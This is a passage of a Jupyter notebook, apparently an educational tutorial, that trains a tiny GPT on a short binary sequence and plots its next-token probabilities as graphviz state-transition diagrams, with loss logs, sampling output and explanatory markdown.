          "base_uri": "https://localhost:8080/"
        },
        "id": "gD2Qp9Os39eA",
        "outputId": "7518b320-fb47-4b38-c28f-86996e7cefca"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "number of parameters: 12656\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "# train the GPT for some number of iterations\n",
        "for i in range(50):\n",
        "    logits = gpt(X)\n",
        "    loss = F.cross_entropy(logits, Y)\n",
        "    loss.backward()\n",
        "    optimizer.step()\n",
        "    optimizer.zero_grad()\n",
        "    print(i, loss.item())"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "NLe5w34v3xkR",
        "outputId": "3e7ec44d-cd3e-482d-c4fb-0b21d54cdd73"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "0 0.663539469242096\n",
            "1 0.6393510103225708\n",
            "2 0.6280076503753662\n",
            "3 0.6231870055198669\n",
            "4 0.6198631525039673\n",
            "5 0.6163331270217896\n",
            "6 0.6124278903007507\n",
            "7 0.6083487868309021\n",
            "8 0.6043017506599426\n",
            "9 0.6004215478897095\n",
            "10 0.5967749953269958\n",
            "11 0.5933789610862732\n",
            "12 0.5902208685874939\n",
            "13 0.5872761011123657\n",
            "14 0.5845204591751099\n",
            "15 0.5819371342658997\n",
            "16 0.5795179009437561\n",
            "17 0.5772626996040344\n",
            "18 0.5751749873161316\n",
            "19 0.5732589960098267\n",
            "20 0.5715171694755554\n",
            "21 0.5699482560157776\n",
            "22 0.5685476660728455\n",
            "23 0.5673080086708069\n",
            "24 0.5662192106246948\n",
            "25 0.5652689337730408\n",
            "26 0.5644428730010986\n",
            "27 0.563723087310791\n",
            "28 0.5630872845649719\n",
            "29 0.5625078678131104\n",
            "30 0.5619534254074097\n",
            "31 0.5613844990730286\n",
            "32 0.5607481598854065\n",
            "33 0.5599767565727234\n",
            "34 0.5589826107025146\n",
            "35 0.5576505064964294\n",
            "36 0.5558211803436279\n",
            "37 0.5532580018043518\n",
            "38 0.5495675802230835\n",
            "39 0.5440602898597717\n",
            "40 0.5359978079795837\n",
            "41 0.5282725095748901\n",
            "42 0.5195847153663635\n",
            "43 0.5095029473304749\n",
            "44 0.5019271969795227\n",
            "45 0.49031805992126465\n",
            "46 0.48338067531585693\n",
            "47 0.4769590198993683\n",
            "48 0.47185763716697693\n",
            "49 0.4699831008911133\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "print(\"Training data sequence, as a reminder:\", seq)\n",
        "plot_model()"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/",
          "height": 661
        },
        "id": "FIt_H7Bz38Zo",
        "outputId": "14f6d4f6-ec6d-41ae-ce55-b0599939842b"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Training data sequence, as a reminder: [1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0]\n",
            "input [0, 0, 0] ---> [0.2683657109737396, 0.7316343188285828]\n",
            "input [0, 0, 1] ---> [0.21858924627304077, 0.7814106941223145]\n",
            "input [0, 1, 0] ---> [0.24217553436756134, 0.7578244805335999]\n",
            "input [0, 1, 1] ---> [0.20438867807388306, 0.7956112623214722]\n",
            "input [1, 0, 0] ---> [0.252511203289032, 0.747488796710968]\n",
            "input [1, 0, 1] ---> [0.20714525878429413, 0.7928547859191895]\n",
            "input [1, 1, 0] ---> [0.2200900763273239, 0.7799099087715149]\n",
            "input [1, 1, 1] ---> [0.5463876128196716, 0.45361238718032837]\n"
          ]
        },
        {
          "output_type": "execute_result",
          "data": {
            "image/svg+xml": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\"\n \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<!-- Generated by graphviz version 2.43.0 (0)\n -->\n<!-- Title: %3 Pages: 1 -->\n<svg width=\"396pt\" height=\"365pt\"\n viewBox=\"0.00 0.00 395.87 364.86\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<g id=\"graph0\" class=\"graph\" transform=\"scale(1 1) rotate(0) translate(4 360.86)\">\n<title>%3</title>\n<polygon fill=\"white\" stroke=\"transparent\" points=\"-4,4 -4,-360.86 391.87,-360.86 391.87,4 -4,4\"/>\n<!-- 000 -->\n<g id=\"node1\" class=\"node\">\n<title>000</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"300.87\" cy=\"-64.99\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"300.87\" y=\"-61.29\" font-family=\"Times,serif\" font-size=\"14.00\">000</text>\n</g>\n<!-- 000&#45;&gt;000 -->\n<g id=\"edge1\" class=\"edge\">\n<title>000&#45;&gt;000</title>\n<path fill=\"none\" stroke=\"black\" d=\"M326.31,-71.68C336.9,-72.14 345.87,-69.91 345.87,-64.99 345.87,-61.76 342,-59.69 336.36,-58.78\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"336.47,-55.28 326.31,-58.3 336.13,-62.27 336.47,-55.28\"/>\n<text text-anchor=\"middle\" x=\"366.87\" y=\"-61.29\" font-family=\"Times,serif\" font-size=\"14.00\">0(27%)</text>\n</g>\n<!-- 001 -->\n<g id=\"node2\" class=\"node\">\n<title>001</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"73.99\" cy=\"-64.99\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"73.99\" y=\"-61.29\" font-family=\"Times,serif\" font-size=\"14.00\">001</text>\n</g>\n<!-- 000&#45;&gt;001 -->\n<g id=\"edge2\" class=\"edge\">\n<title>000&#45;&gt;001</title>\n<path fill=\"none\" stroke=\"black\" d=\"M273.5,-64.99C232.94,-64.99 156.75,-64.99 111.16,-64.99\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"111.1,-61.49 101.1,-64.99 111.1,-68.49 111.1,-61.49\"/>\n<text text-anchor=\"middle\" x=\"171.33\" y=\"-68.79\" font-family=\"Times,serif\" font-size=\"14.00\">1(73%)</text>\n</g>\n<!-- 010 -->\n<g id=\"node3\" class=\"node\">\n<title>010</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"27\" cy=\"-178.43\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"27\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">010</text>\n</g>\n<!-- 001&#45;&gt;010 -->\n<g id=\"edge3\" class=\"edge\">\n<title>001&#45;&gt;010</title>\n<path fill=\"none\" stroke=\"black\" d=\"M66.65,-82.71C59.03,-101.11 47.01,-130.12 38.2,-151.38\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"34.88,-150.25 34.29,-160.83 41.35,-152.93 34.88,-150.25\"/>\n<text text-anchor=\"middle\" x=\"31.42\" y=\"-120.85\" font-family=\"Times,serif\" font-size=\"14.00\">0(22%)</text>\n</g>\n<!-- 011 -->\n<g id=\"node4\" class=\"node\">\n<title>011</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"187.43\" cy=\"-338.86\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"187.43\" y=\"-335.16\" font-family=\"Times,serif\" font-size=\"14.00\">011</text>\n</g>\n<!-- 001&#45;&gt;011 -->\n<g id=\"edge4\" class=\"edge\">\n<title>001&#45;&gt;011</title>\n<path fill=\"none\" stroke=\"black\" d=\"M81.26,-82.54C100.55,-129.1 153.13,-256.05 176.26,-311.89\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"173.16,-313.55 180.22,-321.45 179.63,-310.88 173.16,-313.55\"/>\n<text text-anchor=\"middle\" x=\"107.76\" y=\"-201.01\" font-family=\"Times,serif\" font-size=\"14.00\">1(78%)</text>\n</g>\n<!-- 100 -->\n<g id=\"node5\" class=\"node\">\n<title>100</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"187.43\" cy=\"-18\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"187.43\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">100</text>\n</g>\n<!-- 010&#45;&gt;100 -->\n<g id=\"edge5\" class=\"edge\">\n<title>010&#45;&gt;100</title>\n<path fill=\"none\" stroke=\"black\" d=\"M42.09,-163.34C70.4,-135.03 131.6,-73.83 164.83,-40.59\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"167.66,-42.72 172.26,-33.17 162.71,-37.77 167.66,-42.72\"/>\n<text text-anchor=\"middle\" x=\"82.46\" y=\"-105.76\" font-family=\"Times,serif\" font-size=\"14.00\">0(24%)</text>\n</g>\n<!-- 101 -->\n<g id=\"node6\" class=\"node\">\n<title>101</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"73.99\" cy=\"-291.87\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"73.99\" y=\"-288.17\" font-family=\"Times,serif\" font-size=\"14.00\">101</text>\n</g>\n<!-- 010&#45;&gt;101 -->\n<g id=\"edge6\" class=\"edge\">\n<title>010&#45;&gt;101</title>\n<path fill=\"none\" stroke=\"black\" d=\"M29.2,-196.56C34.81,-215.52 46.82,-245.38 57.17,-266.63\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"54.14,-268.38 61.78,-275.72 60.38,-265.22 54.14,-268.38\"/>\n<text text-anchor=\"middle\" x=\"22.19\" y=\"-235.39\" font-family=\"Times,serif\" font-size=\"14.00\">1(76%)</text>\n</g>\n<!-- 110 -->\n<g id=\"node7\" class=\"node\">\n<title>110</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"347.86\" cy=\"-178.43\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"347.86\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">110</text>\n</g>\n<!-- 011&#45;&gt;110 -->\n<g id=\"edge7\" class=\"edge\">\n<title>011&#45;&gt;110</title>\n<path fill=\"none\" stroke=\"black\" d=\"M202.52,-323.76C230.83,-295.46 292.02,-234.26 325.26,-201.02\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"328.09,-203.14 332.69,-193.6 323.14,-198.19 328.09,-203.14\"/>\n<text text-anchor=\"middle\" x=\"242.89\" y=\"-266.19\" font-family=\"Times,serif\" font-size=\"14.00\">0(20%)</text>\n</g>\n<!-- 111 -->\n<g id=\"node8\" class=\"node\">\n<title>111</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"300.87\" cy=\"-291.87\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"300.87\" y=\"-288.17\" font-family=\"Times,serif\" font-size=\"14.00\">111</text>\n</g>\n<!-- 011&#45;&gt;111 -->\n<g id=\"edge8\" class=\"edge\">\n<title>011&#45;&gt;111</title>\n<path fill=\"none\" stroke=\"black\" d=\"M210.38,-329.35C227.03,-322.45 249.79,-313.03 268.31,-305.35\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"269.66,-308.58 277.56,-301.52 266.98,-302.12 269.66,-308.58\"/>\n<text text-anchor=\"middle\" x=\"218.35\" y=\"-306.15\" font-family=\"Times,serif\" font-size=\"14.00\">1(80%)</text>\n</g>\n<!-- 100&#45;&gt;000 -->\n<g id=\"edge9\" class=\"edge\">\n<title>100&#45;&gt;000</title>\n<path fill=\"none\" stroke=\"black\" d=\"M210.38,-27.51C227.03,-34.41 249.79,-43.83 268.31,-51.5\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"266.98,-54.74 277.56,-55.33 269.66,-48.27 266.98,-54.74\"/>\n<text text-anchor=\"middle\" x=\"218.35\" y=\"-43.31\" font-family=\"Times,serif\" font-size=\"14.00\">0(25%)</text>\n</g>\n<!-- 100&#45;&gt;001 -->\n<g id=\"edge10\" class=\"edge\">\n<title>100&#45;&gt;001</title>\n<path fill=\"none\" stroke=\"black\" d=\"M164.47,-27.51C147.82,-34.41 125.07,-43.83 106.55,-51.5\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"105.2,-48.27 97.3,-55.33 107.88,-54.74 105.2,-48.27\"/>\n<text text-anchor=\"middle\" x=\"114.51\" y=\"-28.31\" font-family=\"Times,serif\" font-size=\"14.00\">1(75%)</text>\n</g>\n<!-- 101&#45;&gt;010 -->\n<g id=\"edge11\" class=\"edge\">\n<title>101&#45;&gt;010</title>\n<path fill=\"none\" stroke=\"black\" d=\"M71.78,-273.74C66.18,-254.77 54.17,-224.92 43.82,-203.66\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"46.85,-201.91 39.21,-194.57 40.61,-205.08 46.85,-201.91\"/>\n<text text-anchor=\"middle\" x=\"78.8\" y=\"-242.5\" font-family=\"Times,serif\" font-size=\"14.00\">0(21%)</text>\n</g>\n<!-- 101&#45;&gt;011 -->\n<g id=\"edge12\" class=\"edge\">\n<title>101&#45;&gt;011</title>\n<path fill=\"none\" stroke=\"black\" d=\"M96.94,-301.38C113.59,-308.27 136.35,-317.7 154.87,-325.37\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"153.54,-328.61 164.12,-329.2 156.22,-322.14 153.54,-328.61\"/>\n<text text-anchor=\"middle\" x=\"104.91\" y=\"-317.17\" font-family=\"Times,serif\" font-size=\"14.00\">1(79%)</text>\n</g>\n<!-- 110&#45;&gt;100 -->\n<g id=\"edge13\" class=\"edge\">\n<title>110&#45;&gt;100</title>\n<path fill=\"none\" stroke=\"black\" d=\"M332.76,-163.34C304.46,-135.03 243.26,-73.83 210.02,-40.59\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"212.14,-37.77 202.6,-33.17 207.19,-42.72 212.14,-37.77\"/>\n<text text-anchor=\"middle\" x=\"250.39\" y=\"-105.76\" font-family=\"Times,serif\" font-size=\"14.00\">0(22%)</text>\n</g>\n<!-- 110&#45;&gt;101 -->\n<g id=\"edge14\" class=\"edge\">\n<title>110&#45;&gt;101</title>\n<path fill=\"none\" stroke=\"black\" d=\"M324.51,-188.1C275.7,-208.32 162.76,-255.1 106.73,-278.31\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"105.18,-275.16 97.28,-282.22 107.86,-281.63 105.18,-275.16\"/>\n<text text-anchor=\"middle\" x=\"194.62\" y=\"-237\" font-family=\"Times,serif\" font-size=\"14.00\">1(78%)</text>\n</g>\n<!-- 111&#45;&gt;110 -->\n<g id=\"edge15\" class=\"edge\">\n<title>111&#45;&gt;110</title>\n<path fill=\"none\" stroke=\"black\" d=\"M308.21,-274.14C315.83,-255.75 327.85,-226.74 336.65,-205.48\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"339.97,-206.61 340.57,-196.03 333.51,-203.93 339.97,-206.61\"/>\n<text text-anchor=\"middle\" x=\"301.43\" y=\"-243.61\" font-family=\"Times,serif\" font-size=\"14.00\">0(55%)</text>\n</g>\n<!-- 111&#45;&gt;111 -->\n<g id=\"edge16\" class=\"edge\">\n<title>111&#45;&gt;111</title>\n<path fill=\"none\" stroke=\"black\" d=\"M326.31,-298.56C336.9,-299.02 345.87,-296.79 345.87,-291.87 345.87,-288.64 342,-286.57 336.36,-285.66\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"336.47,-282.16 326.31,-285.18 336.13,-289.15 336.47,-282.16\"/>\n<text text-anchor=\"middle\" x=\"366.87\" y=\"-288.17\" font-family=\"Times,serif\" font-size=\"14.00\">1(45%)</text>\n</g>\n</g>\n</svg>\n",
            "text/plain": [
              "<graphviz.graphs.Digraph at 0x7f4d68922490>"
            ]
          },
          "metadata": {},
          "execution_count": 12
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "Nice! the arrows that correspond to transitions in our training data get higher probabilities. That makes sense. For example:\n",
        "\n",
        "- In our training data 101 always transitions to 011. After 50 steps of training, we see that this transition has 79% probability.\n",
        "- In our training data 111 goes to 111 50% of time, and 110 50% of the time, and this is almost exactly what we see in our model (45% and 55% respectively).\n",
        "\n",
        "We don't get exactly 100% or 50% probability for these arrows because the network wasn't fully trained, but you'd expect to get close if you continue training.\n",
        "\n",
        "Note something else that is interesting: some of the states that never appeared in the training data (e.g. 000 or 100) have substantial probabilities for what tokens should come next. If these states were never encountered during training, shouln't their outbound arrows be at ~50%? You'd think this was a bug, but actually this is desirable because in a real application scenario during deployment, almost every test input to the GPT is a never-before-seen input during training. We rely on the internals of the GPT (and its \"inductive bias\") to perform the generalization appropriately.\n",
        "\n",
        "Finally, let's sample from this GPT:"
      ],
      "metadata": {
        "id": "2jqlDUGT4VpX"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "xi = [1, 1, 1] # the starting sequence\n",
        "fullseq = xi.copy()\n",
        "print(f\"init: {xi}\")\n",
        "for k in range(20):\n",
        "    x = torch.tensor(xi, dtype=torch.long)[None, ...]\n",
        "    logits = gpt(x)\n",
        "    probs = nn.functional.softmax(logits, dim=-1)\n",
        "    t = torch.multinomial(probs[0], num_samples=1).item() # sample from the probability distribution\n",
        "    xi = xi[1:] + [t] # transition to the next state\n",
        "    fullseq.append(t)\n",
        "    print(f\"step {k}: state {xi}\")\n",
        "\n",
        "print(\"\\nfull sampled sequence:\")\n",
        "print(\"\".join(map(str, fullseq)))"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "u3djdmja4DMQ",
        "outputId": "feba7207-4871-420c-9390-cbdb91b424d4"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "init: [1, 1, 1]\n",
            "step 0: state [1, 1, 0]\n",
            "step 1: state [1, 0, 1]\n",
            "step 2: state [0, 1, 1]\n",
            "step 3: state [1, 1, 1]\n",
            "step 4: state [1, 1, 0]\n",
            "step 5: state [1, 0, 1]\n",
            "step 6: state [0, 1, 1]\n",
            "step 7: state [1, 1, 1]\n",
            "step 8: state [1, 1, 0]\n",
            "step 9: state [1, 0, 1]\n",
            "step 10: state [0, 1, 1]\n",
            "step 11: state [1, 1, 0]\n",
            "step 12: state [1, 0, 1]\n",
            "step 13: state [0, 1, 1]\n",
            "step 14: state [1, 1, 1]\n",
            "step 15: state [1, 1, 1]\n",
            "step 16: state [1, 1, 0]\n",
            "step 17: state [1, 0, 1]\n",
            "step 18: state [0, 1, 0]\n",
            "step 19: state [1, 0, 1]\n",
            "\n",
            "full sampled sequence:\n",
            "11101110111011011110101\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "Depending on how much you train your network, these sequences will look more and more like the training data. In our case we'd never get a perfect match because the state 111 has an ambiguous future: 50% of the time it's 1, 50% time a 0.\n",
        "\n",
        "Before we end this section, let's create a 2 block size 3 vocab size GPT instead of a 3 block size 2 vocab size GPT. In this case we expect 3 ingoing/outgoing arrows per node not 2."
      ],
      "metadata": {
        "id": "2c4lt0EpjsFe"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "config = GPTConfig(\n",
        "    block_size = 2,\n",
        "    vocab_size = 3,\n",
        "    n_layer = 4,\n",
        "    n_head = 4,\n",
        "    n_embd = 16,\n",
        "    bias = False,\n",
        ")\n",
        "gpt = GPT(config)\n",
        "plot_model()"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/",
          "height": 723
        },
        "id": "23oQfBXK3kOx",
        "outputId": "25492733-fce8-4a83-8cea-9e833c18f9d6"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "number of parameters: 12656\n",
            "input [0, 0] ---> [0.4023578464984894, 0.3247871398925781, 0.2728550136089325]\n",
            "input [0, 1] ---> [0.3112931251525879, 0.41417476534843445, 0.27453210949897766]\n",
            "input [0, 2] ---> [0.29536890983581543, 0.30436983704566956, 0.400261253118515]\n",
            "input [1, 0] ---> [0.4040412902832031, 0.32429811358451843, 0.2716606557369232]\n",
            "input [1, 1] ---> [0.3113819658756256, 0.4152715802192688, 0.2733464539051056]\n",
            "input [1, 2] ---> [0.29491397738456726, 0.302636981010437, 0.40244901180267334]\n",
            "input [2, 0] ---> [0.40355363488197327, 0.3235832452774048, 0.27286314964294434]\n",
            "input [2, 1] ---> [0.31285664439201355, 0.41349685192108154, 0.2736465036869049]\n",
            "input [2, 2] ---> [0.29775166511535645, 0.30284032225608826, 0.3994080722332001]\n"
          ]
        },
        {
          "output_type": "execute_result",
          "data": {
            "image/svg+xml": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\"\n \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<!-- Generated by graphviz version 2.43.0 (0)\n -->\n<!-- Title: %3 Pages: 1 -->\n<svg width=\"450pt\" height=\"399pt\"\n viewBox=\"0.00 0.00 450.20 399.48\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<g id=\"graph0\" class=\"graph\" transform=\"scale(1 1) rotate(0) translate(4 395.48)\">\n<title>%3</title>\n<polygon fill=\"white\" stroke=\"transparent\" points=\"-4,4 -4,-395.48 446.2,-395.48 446.2,4 -4,4\"/>\n<!-- 00 -->\n<g id=\"node1\" class=\"node\">\n<title>00</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"355.2\" cy=\"-311.75\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"355.2\" y=\"-308.05\" font-family=\"Times,serif\" font-size=\"14.00\">00</text>\n</g>\n<!-- 00&#45;&gt;00 -->\n<g id=\"edge1\" class=\"edge\">\n<title>00&#45;&gt;00</title>\n<path fill=\"none\" stroke=\"black\" d=\"M380.65,-318.44C391.23,-318.9 400.2,-316.67 400.2,-311.75 400.2,-308.52 396.34,-306.45 390.69,-305.54\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"390.8,-302.04 380.65,-305.06 390.47,-309.03 390.8,-302.04\"/>\n<text text-anchor=\"middle\" x=\"421.2\" y=\"-308.05\" font-family=\"Times,serif\" font-size=\"14.00\">0(40%)</text>\n</g>\n<!-- 01 -->\n<g id=\"node2\" class=\"node\">\n<title>01</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"248.29\" cy=\"-373.48\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"248.29\" y=\"-369.78\" font-family=\"Times,serif\" font-size=\"14.00\">01</text>\n</g>\n<!-- 00&#45;&gt;01 -->\n<g id=\"edge2\" class=\"edge\">\n<title>00&#45;&gt;01</title>\n<path fill=\"none\" stroke=\"black\" d=\"M334.59,-323.65C318.47,-332.96 295.84,-346.03 277.8,-356.44\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"275.75,-353.58 268.84,-361.61 279.25,-359.65 275.75,-353.58\"/>\n<text text-anchor=\"middle\" x=\"285.19\" y=\"-343.85\" font-family=\"Times,serif\" font-size=\"14.00\">1(32%)</text>\n</g>\n<!-- 02 -->\n<g id=\"node3\" class=\"node\">\n<title>02</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"355.2\" cy=\"-79.73\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"355.2\" y=\"-76.03\" font-family=\"Times,serif\" font-size=\"14.00\">02</text>\n</g>\n<!-- 00&#45;&gt;02 -->\n<g id=\"edge3\" class=\"edge\">\n<title>00&#45;&gt;02</title>\n<path fill=\"none\" stroke=\"black\" d=\"M355.2,-293.54C355.2,-253.22 355.2,-156.15 355.2,-107.91\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"358.7,-107.85 355.2,-97.85 351.7,-107.85 358.7,-107.85\"/>\n<text text-anchor=\"middle\" x=\"334.2\" y=\"-204.53\" font-family=\"Times,serif\" font-size=\"14.00\">2(27%)</text>\n</g>\n<!-- 10 -->\n<g id=\"node4\" class=\"node\">\n<title>10</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"397.43\" cy=\"-195.74\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"397.43\" y=\"-192.04\" font-family=\"Times,serif\" font-size=\"14.00\">10</text>\n</g>\n<!-- 01&#45;&gt;10 -->\n<g id=\"edge4\" class=\"edge\">\n<title>01&#45;&gt;10</title>\n<path fill=\"none\" stroke=\"black\" d=\"M265.49,-359.42C294.93,-329.45 353.98,-259.36 382.09,-221.29\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"385.21,-222.95 388.23,-212.79 379.54,-218.85 385.21,-222.95\"/>\n<text text-anchor=\"middle\" x=\"302.79\" y=\"-294.16\" font-family=\"Times,serif\" font-size=\"14.00\">0(31%)</text>\n</g>\n<!-- 11 -->\n<g id=\"node5\" class=\"node\">\n<title>11</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"126.7\" cy=\"-352.04\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"126.7\" y=\"-348.34\" font-family=\"Times,serif\" font-size=\"14.00\">11</text>\n</g>\n<!-- 01&#45;&gt;11 -->\n<g id=\"edge5\" class=\"edge\">\n<title>01&#45;&gt;11</title>\n<path fill=\"none\" stroke=\"black\" d=\"M221.9,-368.83C204.7,-365.79 182.01,-361.79 163.09,-358.46\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"163.49,-354.97 153.03,-356.68 162.28,-361.87 163.49,-354.97\"/>\n<text text-anchor=\"middle\" x=\"171.5\" y=\"-367.44\" font-family=\"Times,serif\" font-size=\"14.00\">1(41%)</text>\n</g>\n<!-- 12 -->\n<g id=\"node6\" class=\"node\">\n<title>12</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"47.35\" cy=\"-134.01\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"47.35\" y=\"-130.31\" font-family=\"Times,serif\" font-size=\"14.00\">12</text>\n</g>\n<!-- 01&#45;&gt;12 -->\n<g id=\"edge6\" class=\"edge\">\n<title>01&#45;&gt;12</title>\n<path fill=\"none\" stroke=\"black\" d=\"M235.1,-357.77C200.68,-316.75 107.97,-206.26 67.13,-157.58\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"69.69,-155.19 60.58,-149.78 64.33,-159.69 69.69,-155.19\"/>\n<text text-anchor=\"middle\" x=\"130.11\" y=\"-261.48\" font-family=\"Times,serif\" font-size=\"14.00\">2(27%)</text>\n</g>\n<!-- 20 -->\n<g id=\"node7\" class=\"node\">\n<title>20</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"126.7\" cy=\"-39.44\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"126.7\" y=\"-35.74\" font-family=\"Times,serif\" font-size=\"14.00\">20</text>\n</g>\n<!-- 02&#45;&gt;20 -->\n<g id=\"edge7\" class=\"edge\">\n<title>02&#45;&gt;20</title>\n<path fill=\"none\" stroke=\"black\" d=\"M331.08,-71.01C291.15,-61.04 211.05,-46.68 163.86,-40.82\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"164.08,-37.32 153.75,-39.64 163.27,-44.27 164.08,-37.32\"/>\n<text text-anchor=\"middle\" x=\"226.47\" y=\"-44.71\" font-family=\"Times,serif\" font-size=\"14.00\">0(30%)</text>\n</g>\n<!-- 21 -->\n<g id=\"node8\" class=\"node\">\n<title>21</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"47.35\" cy=\"-257.47\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"47.35\" y=\"-253.77\" font-family=\"Times,serif\" font-size=\"14.00\">21</text>\n</g>\n<!-- 02&#45;&gt;21 -->\n<g id=\"edge8\" class=\"edge\">\n<title>02&#45;&gt;21</title>\n<path fill=\"none\" stroke=\"black\" d=\"M334.53,-91.67C281.18,-122.46 138.77,-204.69 76.82,-240.45\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"74.85,-237.55 67.94,-245.58 78.35,-243.61 74.85,-237.55\"/>\n<text text-anchor=\"middle\" x=\"184.67\" y=\"-169.86\" font-family=\"Times,serif\" font-size=\"14.00\">1(30%)</text>\n</g>\n<!-- 22 -->\n<g id=\"node9\" class=\"node\">\n<title>22</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"248.29\" cy=\"-18\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"248.29\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">22</text>\n</g>\n<!-- 02&#45;&gt;22 -->\n<g id=\"edge9\" class=\"edge\">\n<title>02&#45;&gt;22</title>\n<path fill=\"none\" stroke=\"black\" d=\"M334.59,-67.83C318.47,-58.52 295.84,-45.45 277.8,-35.04\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"279.25,-31.83 268.84,-29.87 275.75,-37.9 279.25,-31.83\"/>\n<text text-anchor=\"middle\" x=\"285.19\" y=\"-55.23\" font-family=\"Times,serif\" font-size=\"14.00\">2(40%)</text>\n</g>\n<!-- 10&#45;&gt;00 -->\n<g id=\"edge10\" class=\"edge\">\n<title>10&#45;&gt;00</title>\n<path fill=\"none\" stroke=\"black\" d=\"M391.01,-213.36C384.13,-232.27 373.11,-262.54 365.11,-284.52\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"361.81,-283.37 361.68,-293.97 368.39,-285.77 361.81,-283.37\"/>\n<text text-anchor=\"middle\" x=\"357.06\" y=\"-252.74\" font-family=\"Times,serif\" font-size=\"14.00\">0(40%)</text>\n</g>\n<!-- 10&#45;&gt;01 -->\n<g id=\"edge11\" 